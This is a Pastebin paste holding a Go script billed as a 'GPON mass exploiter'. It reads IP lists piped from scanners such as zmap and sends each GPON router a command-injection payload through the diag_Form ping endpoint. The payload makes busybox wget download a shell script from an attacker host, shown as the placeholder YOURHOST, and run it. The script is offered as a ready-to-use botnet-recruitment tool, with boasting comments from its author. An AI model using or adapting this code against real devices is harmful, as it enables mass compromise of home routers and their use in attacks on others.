Advertisement
ZoneHax

[GPON MASS EXPLOITER] ~Written by ZH

May 21st, 2018
1,447
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.18 KB | None | 0 0
  1. //#zh
  2. //#b4 people start claimin credz cus thats what skids d0, get sum boatz stop gettin scammz
  3. //#this self explanatory so don't even try 2 message me begging 4 help holy shit
  4. //#ARGS [ cat list | ./gpon or zmap -p8080 -w mx.zone -o-|./gpon ] --> Don't expect some fancy output.
  5. package main
  6.  
  7. import (
  8. //"fmt"
  9. "net/http"
  10. "sync"
  11. "bufio"
  12. "time"
  13. "os"
  14. "strings"
  15. "bytes"
  16. )
  17. var payload []byte = []byte("XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://YOURHOST/YOURSHELLSCRIPT+-O+/tmp/ff;sh+/tmp/ff`&ipv=0")
  18.  
  19. var wg sync.WaitGroup  
  20. var queue []string;
  21.  
  22. func work(ip string){
  23.     ip = strings.TrimRight(ip, "\r\n")
  24.     url := "http://"+ip+":8080/GponForm/diag_Form?script/"
  25.     tr := &http.Transport{
  26.         ResponseHeaderTimeout: 5*time.Second,
  27.         DisableCompression: true,
  28.     }
  29.     client := &http.Client{Transport: tr, Timeout: 5*time.Second}
  30.     _, _ = client.Post(url, "text/plain", bytes.NewBuffer(payload))
  31. }
  32.  
  33.  
  34. func main(){
  35.     for {
  36.         r := bufio.NewReader(os.Stdin)
  37.         scan := bufio.NewScanner(r)
  38.         for scan.Scan(){
  39.             go work(scan.Text())
  40.             wg.Add(1)
  41.             time.Sleep(2*time.Millisecond)
  42.         }
  43.     }
  44.  
  45. }
  46. //#when nexus zeta claims credit for this, laugh at him.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement